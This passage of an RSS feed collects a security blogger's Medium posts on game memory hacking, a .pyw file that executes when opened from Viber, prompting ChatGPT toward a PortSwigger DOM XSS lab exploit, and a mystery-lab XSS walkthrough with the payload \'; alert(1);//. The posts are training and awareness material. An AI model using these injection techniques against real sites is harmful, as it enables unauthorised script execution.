src="https://cdn-images-1.medium.com/max/566/1*h-EwLfv0VpuH-dmVwudq-g.png" /></figure><p>We are doing this because we haven’t used the scientist dashboard, therefore the value didn’t decrease so anything in memory that did decrease or increase means its not the scientist battery. Now you can just click “Next Scan” button until there is less results than what you had before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*nSJ59RiGu_fZM2HfotSF9w.png" /></figure><p>We now have less results so now you can use the vitals to drain the battery and here select “Decreased value” and hit the next scan button again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*v2ukqB_MNhQX9CepbFvxcQ.png" /></figure><p>Now we have less values to go through. Just now repeat the process. Do some tasks to recharge the battery and then select “Increased value” and try again! After a while you will end up with something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*jBtxXuxPzYQT_UqyR6SYOw.png" /></figure><p>Now you can double click on it to add it below in your workspace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*uqFiXojlTS6QxoAaKIVc2w.png" /></figure><p>And you can also click on the number 5 to change it so just to verify everything, let’s put 420 as value and then see what gets displayed in the scientist battery!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*XZm-cQphbcD9Wha1xSTlrA.png" /></figure><p>Now let’s see our battery!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQMsysF563_ufKuF_kPbJw.png" /></figure><p>You can see that we have found our memory address of the battery life of our scientist but once we restart the game this memory address will no longer be useful to us as we need to now complete the step 3, but that will be covered in the part 2 of this series!</p><h3>Thanks for reading</h3><p>Thank you so much for making it all the way here, make sure to follow me on social media and follow me here as well to help me reach the 2k milestone. You will not regret it as you can only learn something new from me!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19991004fd99" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-to-learn-game-hacking-in-10-minutes-part-1-19991004fd99">How to learn Game Hacking in 6 minutes | Part 1</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I found RCE on Viber.]]></title>
            <link>https://medium.com/@deadoverflow/i-found-rce-on-viber-432cf9e17eb0?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/432cf9e17eb0</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Fri, 02 Aug 2024 14:38:10 GMT</pubDate>
            <atom:updated>2024-08-02T14:38:10.406Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S0uKf9lt731nk1gZ.jpg" /></figure><p>Before I even start, please subscribe to my youtube channel, as initially I’m a YouTuber, however my channel got striked because I upload literal hacking content. So please support me as I tend to teach my viewers a lot about security in general. My channel is <a href="https://youtu.be/Pda0f9YUI30?si=tETS0UMkxqkikgLG">https://youtube.com/@deadoverlofw</a></p><h3>I found RCE on Viber</h3><p>To be fair, it is debatable if even this is an RCE, however here is what we need to know about this.</p><p>I watched John Hammond’s video regarding WhatsApp arbitrary code execution, and just decided to test that for Viber. So I simply loaded Viber and made a “malicious” .pyw file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*q85apu__j4Xrkbbu6yTiOQ.png" /></figure><p>Then just dragged and dropped it into viber.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*cmwqiEOTB09yp6tmigqDfA.png" /></figure><p>And if you click on this file you will see that it executes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R94sK5tCRLwV6GGIYLHwUQ.png" /></figure><p>Now an attacker can send this file to someone who has python installed on their computer and could potentially execute some malicious code on victims machine.</p><p>Now this is not really a vulnerability since viber isn’t executing these files itself, viber just tries to open this file which causes windows to run it as a regular python program. Please spread awareness about this as Telegram, WhatsApp and now Viber are all falling in the same pit of being “vulnerable” to this issue.</p><h3>What can you do?</h3><p>Your best option is not to open any files which could be malicious because as of now we only know that py files can be executed. However there could be more to discover. So please make sure to be careful when opening files on any of these platforms, especially .pyw files or .pyz files. Do not open those.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=432cf9e17eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using AI to hunt for XSS.]]></title>
            <link>https://systemweakness.com/using-ai-to-hunt-for-xss-e04ba8d32ba8?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/e04ba8d32ba8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Sat, 29 Jun 2024 18:51:16 GMT</pubDate>
            <atom:updated>2024-07-30T12:39:31.449Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bBluXXmFmXWqDPGL" /></figure><p>Before I start, I must say that the <a href="https://hackrhub.com/">https://hackrhub.com</a> has been updated. In case you don’t know, that is my free platform where I teach people how to hunt for vulnerabilities and more and now you can even hire me to be your personal teacher. There is a free plan on it so make sure to check it out as well!</p><blockquote>Socials:</blockquote><blockquote><strong>Instagram</strong>:<a href="https://instagram.com/deadoverflow"> https://instagram.com/deadoverflow</a></blockquote><blockquote><strong>Youtube</strong>: <a href="https://youtu.be/ZimAC4M1GyA">https://youtube.com/@deadoverflow</a></blockquote><blockquote><strong>Among us hacking video</strong>: <a href="https://youtu.be/ZimAC4M1GyA">https://www.youtube.com/watch?v=w0XktSE21GI</a></blockquote><h3>Using AI to hunt for XSS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*coe49mZ6EkMSdfno" /></figure><p>AI is a powerful tool almost everyone uses nowadays. That’s why I just decided to test and see if AI or ChatGPT can find vulnerabilities. Vulnerability that I choose is XSS since I can give Chat GPT JS code and let him analyze it to see if there are any potential vulnerabilities. So let’s test out the theory and maybe we can prove today that AI can be used as another powerful tool for hacking!</p><h3>Testing the AI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H6T_jCfy-McQ_LmaenRZ-w.png" /></figure><p>I will be using practitioner Portswigger’s labs to see if AI can solve them maybe. I will also be using Chat GPT 3.5 which is a Free version and then comparing it to the Chat GPT 4 which is a paid version to see who will preform better.</p><h3>Lab to solve</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvc3nwA-WieVSvjjWjsjlg.png" /></figure><p>I will be using the following lab to see if AI is capable of finding vulnerabilities. As I have not solved this challenge myself, this will be very interesting. So let’s just start.</p><h3>The challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHuIaSqjPpoYbrwEtdi56g.png" /></figure><p>After the lab has loaded there is a search functionality. So let’s test that out. I will copy and paste the JS code to see if AI can find an XSS. The code I will be giving to AI is this:</p><pre>function search(path) {<br>    var xhr = new XMLHttpRequest();<br>    xhr.onreadystatechange = function() {<br>        if (this.readyState == 4 &amp;&amp; this.status == 200) {<br>            eval(&#39;var searchResultsObj = &#39; + this.responseText);<br>            displaySearchResults(searchResultsObj);<br>        }<br>    };<br>    xhr.open(&quot;GET&quot;, path + window.location.search);<br>    xhr.send();<br><br>    function displaySearchResults(searchResultsObj) {<br>        var blogHeader = document.getElementsByClassName(&quot;blog-header&quot;)[0];<br>        var blogList = document.getElementsByClassName(&quot;blog-list&quot;)[0];<br>        var searchTerm = searchResultsObj.searchTerm<br>        var searchResults = searchResultsObj.results<br><br>        var h1 = document.createElement(&quot;h1&quot;);<br>        h1.innerText = searchResults.length + &quot; search results for &#39;&quot; + searchTerm + &quot;&#39;&quot;;<br>        blogHeader.appendChild(h1);<br>        var hr = document.createElement(&quot;hr&quot;);<br>        blogHeader.appendChild(hr)<br><br>        for (var i = 0; i &lt; searchResults.length; ++i)<br>        {<br>            var searchResult = searchResults[i];<br>            if (searchResult.id) {<br>                var blogLink = document.createElement(&quot;a&quot;);<br>                blogLink.setAttribute(&quot;href&quot;, &quot;/post?postId=&quot; + searchResult.id);<br><br>                if (searchResult.headerImage) {<br>                    var headerImage = document.createElement(&quot;img&quot;);<br>                    headerImage.setAttribute(&quot;src&quot;, &quot;/image/&quot; + searchResult.headerImage);<br>                    blogLink.appendChild(headerImage);<br>                }<br><br>                blogList.appendChild(blogLink);<br>            }<br><br>            blogList.innerHTML += &quot;&lt;br/&gt;&quot;;<br><br>            if (searchResult.title) {<br>                var title = document.createElement(&quot;h2&quot;);<br>                title.innerText = searchResult.title;<br>                blogList.appendChild(title);<br>            }<br><br>            if (searchResult.summary) {<br>                var summary = document.createElement(&quot;p&quot;);<br>                summary.innerText = searchResult.summary;<br>                blogList.appendChild(summary);<br>            }<br><br>            if (searchResult.id) {<br>                var viewPostButton = document.createElement(&quot;a&quot;);<br>                viewPostButton.setAttribute(&quot;class&quot;, &quot;button is-small&quot;);<br>                viewPostButton.setAttribute(&quot;href&quot;, &quot;/post?postId=&quot; + searchResult.id);<br>                viewPostButton.innerText = &quot;View post&quot;;<br>            }<br>        }<br><br>        var linkback = document.createElement(&quot;div&quot;);<br>        linkback.setAttribute(&quot;class&quot;, &quot;is-linkback&quot;);<br>        var backToBlog = document.createElement(&quot;a&quot;);<br>        backToBlog.setAttribute(&quot;href&quot;, &quot;/&quot;);<br>        backToBlog.innerText = &quot;Back to Blog&quot;;<br>        linkback.appendChild(backToBlog);<br>        blogList.appendChild(linkback);<br>    }<br>}</pre><p>Now If AI finds an actual vulnerability here then this is amazing and quite useful in real world scenarios. This is too much for Chat GPT to handle therefore I will be giving him function after function to analyze. You could just copy and paste some code that you found on a webpage and <strong>ChatGPT </strong>will handle the rest. So let’s waste no further time and let’s ask AI to help us find a vulnerability here.</p><h3>The response</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*-lbugiC57B3QozzhmVqLpQ.png" /></figure><p>After I asked AI and gave him the context of the function usage, he was able to give me some nonsense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*7HtsffOxe6gG_rBnBb0Nzw.png" /></figure><p>I was really concerned will Chat GPT even be able to pull through it so I decided to give him a bit of a reality check. I just said to him that putting HTML into eval function is just not gonna do anything really.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*M4ysXJODxXvQ_ddN2fbgtw.png" /></figure><p>Now he was on the right track. He knew that he had to escape the JSON object since it was inside the eval() function to potentially execute some code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*sNXK5xyQ7g9Q4dLHjc45Zg.png" /></figure><p>Now he was really close to solve this lab. This is now the problem:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*EWLxKPbjg7v7Fz8sqz_4-g.png" /></figure><p>AI was able to escape the JSON object however instead of ; there should be } since this is displayed in the console:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*KsZIh1r1_8SYrOmaI6fpKg.png" /></figure><p>He was really close and I will try to guide him just a bit now by giving him an error to see if he can figure it out.</p><h3>The result</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*Wa-Gtt0wSd8yzpiMghw-PA.png" /></figure><p>Unfortunatly he was not able to get it right. He was so close just one character away from exploiting this and I am so pissed off that it was so close yet so far away. You can see my frustration in the chat here: <a href="https://chatgpt.com/share/bb1274d4-b507-4853-955b-79a490c29505">https://chatgpt.com/share/bb1274d4-b507-4853-955b-79a490c29505</a></p><p>Chat GPT 3.5 was very close and I will in the next blog post see if Chat GPT 4.0 can do any better. That blog post you will be able to find on my official platform called <a href="https://hackrhub.com/">https://hackrhub.com/</a>. Here is a proof that he indeed was just one character away from solving this lab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*B0xHmUHBlyw_-sGTGJaYhA.png" /></figure><h3>Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zp3e7SRCcpqDQcdC" /></figure><p>AI now cannot do tasks for you without your monitoring and help. That’s why I still recommend you asking AI some things that aren’t quite clear in your head. AI can even lead you into right direction if you are stuck somewhere since it’s better than nothing! In the next blog post I will be seeing how Chat GPT 4.0 can handle it so make sure to check it out tomorrow when it goes out on <a href="https://hackrhub.com/">https://hackrhub.com</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e04ba8d32ba8" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/using-ai-to-hunt-for-xss-e04ba8d32ba8">Using AI to hunt for XSS.</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How long did it take me to find my first bug?]]></title>
            <link>https://medium.com/@deadoverflow/how-long-did-it-take-me-to-find-my-first-bug-969699fa9080?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/969699fa9080</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Thu, 27 Jun 2024 21:59:25 GMT</pubDate>
            <atom:updated>2024-07-23T16:20:58.780Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2IZSFEcHm34lf0Q8KE2exg.jpeg" /></figure><p>Before I even start, just a quick heads up on a CTF challenge that I will be hosting soon. The final price will be Burp Suite Professional for first 10 places so make sure to subscribe to the newsletter on the official platform <a href="https://hackrhub.com/">https://hackrhub.com</a> where I often post premium content which you cannot see here. So make sure to check that out!</p><blockquote>Socials:</blockquote><blockquote>Instagram: <a href="https://instagram.com/deadoverflow">https://instagram.com/deadoverflow</a></blockquote><blockquote>Youtube: <a href="https://www.youtube.com/watch?v=w0XktSE21GI">https://youtu.be/tXWoRK7JiHk?si=4w18cDWZ_oH25GL-</a></blockquote><blockquote><strong>Among us hacking video</strong>: <a href="https://www.youtube.com/watch?v=w0XktSE21GI">https://www.youtube.com/watch?v=w0XktSE21GI</a></blockquote><h3>How long did it take me to find my first bug?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uYdaKngvHQskyjRT.png" /></figure><p>I started with bug bounty around 3 years ago and I remember having a really hard time finding my first bug. All of the websites I visited on the bug bounty platforms like <strong>Hackerone</strong> seemed really complicated. I was just a newbie in a world that seemed too much for me and, at that time, I considered giving up multiple times. I was roaming around the website hoping I could just find my first valid bug, I was so desperate that I didn’t even want to be paid for it so all I was focusing on is that I just find something. Long story short, it was really stressful and demotivating.</p><h3>Big moment</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pYuzsh00q5HX-pNK.png" /></figure><p>So one day I was doing research and all of a sudden I see that the password reset functionality was very interesting. The link to reset your password was something like this:</p><pre>https://targetwebpage.com/password/reset/Y3Rme2NvbW1pbmdfc29vbn0</pre><p>I noticed that in the url there was a token which looked like base 64 and when I decoded it, it was a ID of the user whose password is about to be reset. So I was so happy because in my mind I could just replace the ID from mine to somebody else’s and reset their password. Unfortunately, when I tried that, it didn’t work. I tried everything and nope, it was all safe and secure.</p><h3>Low motivation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*w4DI4z7gZYWzMsHB.jpg" /></figure><p>At this point, I was already 7 months into this hacking journey after studying some stuff on Portswigger and yet I was nowhere. I was really pushing myself to hunt for bugs even when I just didn’t want to. All I would do whole day is to either study hacking and or try to hunt for bugs. The problem was, I would try to hunt for a bug on a platform for 5 minutes, see that I cannot find anything and I would just move on to a new platform and so on. When I realized that was the problem, I was already 9 months in this journey without a single bug. So my next plan was to spend a little bit more time on a platform. So I would pick a platform and everyday just try to hunt on it.</p><h3>Finally I found it!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/0*sTPfhe8-zTGP7GzE.jpg" /></figure><p>I wasn’t motivated to spend more time on a target, however I forced myself to do so. And eventually I find my first ever bug. It felt amazing and I felt amazing as well, In that moment I felt like a genius even though it was just a simple CSRF which was even closed as duplicate by the triage team. However the point is that I found a valid issue and I cannot explain to you how that felt. It was purely indescribable feeling of joy. Nowadays I don’t get that as much since I am used to finding bugs. I just try my best to help you understand how the process works since once you know that and you are putting in so much effort, you have no other outcomes but to succeed!</p><h3>Let’s summarize</h3><p>Nothing. Happens. Over. Night. You must know that and believe in that. Your effort today will show you the result tomorrow. How much effort you put in will be exactly how much you will get in the end. So make sure to stay consisent and you shouldn’t care about time, regardless of how long it’s taking you to find a bug. Just focus on finding a one every single day and your effort will shine. It can happen tomorrow, or day after that or even a week after reading this. Only way to find out is to stay consistent you will never miss your lucky day, if you try everyday!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=969699fa9080" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to actually hunt for bugs?]]></title>
            <link>https://systemweakness.com/how-to-preform-recon-in-bug-bounty-8d37a1fd262f?source=rss-387ab5c84e21------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d37a1fd262f</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Imad Husanovic]]></dc:creator>
            <pubDate>Sun, 09 Jun 2024 23:23:03 GMT</pubDate>
            <atom:updated>2024-06-27T14:27:17.582Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to preform recon in Bug Bounty?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HlegjcTGdUFGPPof.jpeg" /></figure><p>Preforming recon is the most important step when it comes to bug hunting and security research. <strong>Recon </strong>just means using your <strong>knowledge </strong>about vulnerabilities to actually find one and that’s why it is so important skill for every hacker to have. In this blog post, I will showcase how I preform recon using <strong>Portswigger’s mystery lab</strong>. I also have a platform which will features some of my <strong>premium </strong>blog posts and stuff related to <strong>Bug Hunting</strong>. So check that out on the link here: <a href="https://hackrhub.com/">https://hackrhub.com</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WaZ06xkV9-0xVCUse9gFPA.png" /></figure><p><strong>Mystery lab</strong> is something like a <strong>CTF</strong>, there is a random <strong>vulnerability </strong>on a website and your goal is to find it and exploit it. This sharpens your recon skills and I definitely recommend you practice your recon skills on mystery labs. I used them when I was starting out with me security researcher carrier and it helped me a lot in becoming a successful bug bounty hunter that I am today. So let’s start with a random <strong>mystery lab</strong> and let me show you how I do it!</p><blockquote>Follow me on:<br><strong>Instagram</strong>: <a href="https://instagram.com/deadoverflow">deadoverflow</a> — — — — <strong>Youtube</strong>: <a href="https://youtu.be/tXWoRK7JiHk?si=93kYfhTYcs6RrWZA">deadoverflow</a></blockquote><h4>Mystery Lab Challenge</h4><p>Once I clicked the <strong>“Challenge Me”</strong> button, I was greeted with a mystery lab that I now have to solve. To solve it, I will be having to find a <strong>vulnerability </strong>so let’s start by accessing what we can do on the <strong>webpage</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWJ1j1mnFWjvn_1UFO5OWQ.png" /></figure><p>Currently there isn’t much to do besides a basic <strong>search functionality</strong> to search through all of the blog posts and <strong>functionality to open blog posts</strong>. However if you were to open a blog post, that reveals that there is also <strong>functionality for posting comments.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*Hg-D7_Ouu3HEKspMduT4QA.png" /></figure><h4>1. Search functionality</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*_nLj9Vj-rlaZR7LfQ_tazw.png" /></figure><p>From the given <strong>functionalities</strong>, we can already tell what could go wrong. For example the search functionality cannot be nothing serious, maybe <strong>XSS </strong>but we will still test for <strong>command injection</strong> and or <strong>SQL injection</strong>. But for now <strong>XSS </strong>is our priority, then I will go down the list and test for other possible vulnerabilities.</p><h4>2. Blog opening</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*oA1OV_UCLa8X1UVu4i0VBw.png" /></figure><p>For the <strong>blog opening functionality</strong> maybe there is an <strong>IDOR </strong>since you can manipulate the <strong>postId </strong>query. <strong>IDOR </strong>in this case could give us a way to maybe see some private or secrets blog posts that are not meant for public. Or it could be <strong>Command Injection</strong> vulnerability and even <strong>SQL injection</strong>.</p><h4>3. Posting Comments</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*giSvk4wF7Njrq2vcgJ5q_g.png" /></figure><p>Finally, we come to last functionality which just gives users to post a comment. This also could be a variety of vulnerabilities depending on how its handled but for now I smell <strong>stored XSS</strong>. Then I would test for <strong>XXE </strong>and maybe some <strong>logic bugs</strong>.</p><h4>Preforming tests</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*1atr6GkdwWTeN2jDZKvaug.png" /></figure><p>Once I have a clear picture of what could go wrong where, I will start to test and do my <strong>research</strong>. I will start with the <strong>search functionality</strong> since it is the first thing that I noticed. I will go down the list in case I don’t find a vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*sw6LjwE8PtnA-tNnu1S7gA.png" /></figure><p>So let’s start with the first vulnerability on the list, <strong>XSS</strong>. I will paste some stuff in the search field and just see how the <strong>application </strong>handles it. I will paste something like <strong>&lt;&gt;&lt;&gt;”’\${}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*zGdZvo0ZHMXHlqks6dgEHg.png" /></figure><p>Now I will hit search and open <strong>Chrome Developer Tools</strong> to inspect what has happened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKj6fWcK8Ag4Ui1ihBGGhg.png" /></figure><p>I will navigate to the <strong>“Sources” tab</strong> and then select the <strong>HTML </strong>file which has been loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OAqenMprqSqMK9x7AZjZxw.png" /></figure><p>In here, I will just look for places where my <strong>search term</strong> was placed and see if there are any <strong>misbehaviors </strong>by the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*j4Nn9OKfxWGJqvwrJMB8tA.png" /></figure><p>I can see that my search term was placed inside of the <strong>searchTerms </strong>variable and from everything I have entered as a search term, only single quotes were <strong>not encoded</strong>.</p><p>Now I will just try to enter<strong> single quote (‘)</strong> in the search and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*CtaQtK7Xx0wte3BgBHdKFw.png" /></figure><p>So the single quote just gets <strong>escaped </strong>and nothing else. This kind of gave me an idea to enter<strong> \’</strong> as a<strong> search term</strong>. My logic was if the <strong>application </strong>just adds \ to ‘ without proper checks, I could still escape out of the variable and inject code. So that’s what I tired.</p><p>After I have entered \’ as search term, this got reflected in the <strong>JS variable</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*pwiTOYrVZNtSbfnfQxBMLA.png" /></figure><p>There is obviously an error and now I know that the vulnerability is there. Now I can just enter <strong>\’; alert(1);//</strong> as search term and <strong>alert(1)</strong> will be called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1vS3dY7AC2c61xcO2zfvVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqpA20Ac96gVJIz5ala9Tg.png" /></figure><p>And as you can see, it worked the way I thought it <strong>would</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*I9YcNeQrpJKg1G9d9YHv3Q.png" /></figure><p>Here we can inspect how my payload got injected into the JS variable and hopefully it makes more sense now.</p><h4>Why my payload executed?</h4><p>Basically a variable cannot contain exactly three encapsulating symbols. For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*-N8XGkeyJZYnO9GQsIuigA.png" /></figure><p>This is not valid JS, and a correct way to do it would be to add a backslash \:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*7v9dJHPiU2H0CsefI-hSWQ.png" /></figure><p>This was what the application was doing, however if there are two backlashes in a string like this, we are back at the beginning again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*nPCE0iyOQBOA5e-Z0LVm-w.png" /></figure><p>The white single quote is interpreted as JS, that’s why <strong>\’; alert(1); //</strong> has been executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*4B5zHPGso1uswrzWyXcBrA.png" /></figure><h4>Programming is important</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3bz3m26qIoEBuaqq.jpg" /></figure><p>Without <strong>programming</strong>, it would be very hard to hunt for bugs, and even understand them. <strong>Understanding </strong>how a <strong>vulnerability </strong>works completely is crucial and you cannot do that without programming knowledge. You can understand some vulnerabilities but unfortunately some is not most. I recommend you learn HTML, CSS and JS, then move on to something new. It is really important and every successful bug bounty hunter knows how to code, including me.</p><p>Thanks for reading yet another article of mine, make sure to follow me on socials and here on medium. Thanks :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d37a1fd262f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-to-preform-recon-in-bug-bounty-8d37a1fd262f">How to actually hunt for bugs?</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>